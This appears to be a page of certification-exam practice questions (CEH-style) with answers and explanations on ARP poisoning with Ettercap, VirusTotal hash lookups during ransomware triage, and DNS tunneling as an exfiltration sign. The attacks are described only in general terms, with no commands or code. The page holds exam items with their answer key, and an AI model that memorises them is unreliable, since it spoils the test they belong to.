Ettercap is a comprehensive suite designed specifically for man-in-the-middle (MITM) attacks on local area networks, including robust ARP poisoning capabilities. It actively intercepts traffic by sending forged ARP replies to trick hosts into associating the attacker's MAC address with the gateway's IP, and vice-versa. This allows the penetration tester to transparently relay, inspect, and modify network traffic between the target and the gateway, fulfilling the requirement for ARP poisoning.

Why this answer

Ettercap is the most appropriate tool for ARP poisoning because it is specifically designed for man-in-the-middle (MITM) attacks on a local area network (LAN). It automates ARP spoofing by sending forged ARP replies to both target hosts, poisoning their ARP caches so that traffic intended for the other host is redirected through the attacker's machine, enabling interception and modification of packets.

Exam trap

The trap here is that candidates often confuse passive sniffing tools like Wireshark or tcpdump with active attack tools, assuming that any tool that captures traffic can also perform ARP poisoning, but only dedicated MITM tools like Ettercap have the built-in ARP spoofing engine required for this task.

How to eliminate wrong answers

Option A is wrong because tcpdump is a packet capture and analysis tool; it cannot generate or inject forged ARP packets to perform poisoning. Option C is wrong because Nmap is a network discovery and port scanning tool; while it can detect hosts and services, it lacks the ability to conduct ARP spoofing or MITM attacks. Option D is wrong because Wireshark is a packet analyzer that passively captures and inspects traffic; it does not have the capability to send crafted ARP packets to manipulate ARP caches.

Practice this question →
74
MCQhard

During a ransomware incident response, a forensic analyst recovers a suspicious file that appears to be a PE executable. The analyst wants to quickly check if the file is known malware without executing it. Which of the following is the BEST first step?

A.Disassemble the file using IDA Pro
B.Submit the file hash to VirusTotal
C.Perform static analysis using PEiD to identify compiler and packer
D.Run the file in a sandbox and observe its behavior
AnswerB

Submitting the file's cryptographic hash (e.g., SHA256) to VirusTotal is an optimal initial step because it leverages a vast, aggregated threat intelligence database. This service quickly checks the hash against numerous antivirus engines, sandboxes, and community submissions, providing immediate insight into whether the file is known malware, its common names, and associated behaviors without requiring local execution or extensive analysis. This rapid identification is critical for efficient incident response triage.

Why this answer

Submitting the file hash to VirusTotal is the best first step because it leverages aggregated antivirus engines and threat intelligence to quickly determine if the file is known malware, without any execution risk. This approach is fast, non-invasive, and provides immediate reputation data from over 70 security vendors, making it ideal for triage during incident response.

Exam trap

The trap here is that candidates often choose sandbox execution (Option D) or deep static analysis (Option A) because they seem thorough, but the CEH exam emphasizes the principle of 'least risk first' — using a hash lookup to avoid execution and save time during initial triage.

How to eliminate wrong answers

Option A is wrong because disassembling with IDA Pro is a deep static analysis technique that is time-consuming and unnecessary for a quick malware check; it should be performed only after initial triage confirms the file is suspicious. Option C is wrong because using PEiD to identify the compiler or packer, while useful for static analysis, does not directly answer whether the file is known malware and may miss packed or obfuscated samples that VirusTotal would detect. Option D is wrong because running the file in a sandbox introduces execution risk and is slower than a hash lookup; sandbox analysis is appropriate after confirming the file is not already known to antivirus engines.

Practice this question →
75
MCQmedium

A security analyst notices an unusual spike in outbound traffic on UDP port 53 from a single internal host. The host is not a DNS server. Which type of malware is MOST likely responsible?

A.A worm that spreads via email attachments
B.A polymorphic virus
C.A DNS tunneling tool used for data exfiltration
D.A keylogger that sends captured keystrokes via HTTP
AnswerC

DNS tunneling is a sophisticated data exfiltration technique where malicious actors encode arbitrary data within DNS queries and responses, effectively creating a covert communication channel. This method leverages the legitimate and often unfiltered nature of DNS traffic (UDP port 53) to bypass firewalls and intrusion detection systems. A significant spike in outbound DNS traffic, especially with unusually large query sizes or frequent requests to suspicious domains, is a direct indicator of data being fragmented and transmitted out of the network via this covert channel.

Why this answer

DNS tunneling encapsulates non-DNS traffic (e.g., data exfiltration) within DNS queries and responses, typically using UDP port 53. Since the host is not a DNS server, the outbound spike on port 53 indicates it is likely tunneling data to an external command-and-control server, making option C correct.

Exam trap

The trap here is that candidates may associate any unusual outbound traffic with a generic malware type (like a worm or virus) rather than recognizing the specific protocol and port combination (UDP 53) as a classic indicator of DNS tunneling for data exfiltration.

How to eliminate wrong answers

Option A is wrong because a worm spreading via email attachments typically generates outbound SMTP (port 25) or HTTP traffic, not a sustained spike on UDP 53. Option B is wrong because a polymorphic virus changes its code signature to evade detection but does not inherently cause a specific outbound UDP 53 traffic pattern; its propagation and communication methods vary. Option D is wrong because a keylogger sending keystrokes via HTTP uses TCP port 80 or 443, not UDP port 53, and would not explain the DNS protocol anomaly.

Practice this question →
Page 1 of 3 · 179 questions totalNext →

Ready to test yourself?

Try a timed practice session using only Malware, Social Engineering and Network Attacks questions.

Start 20-question session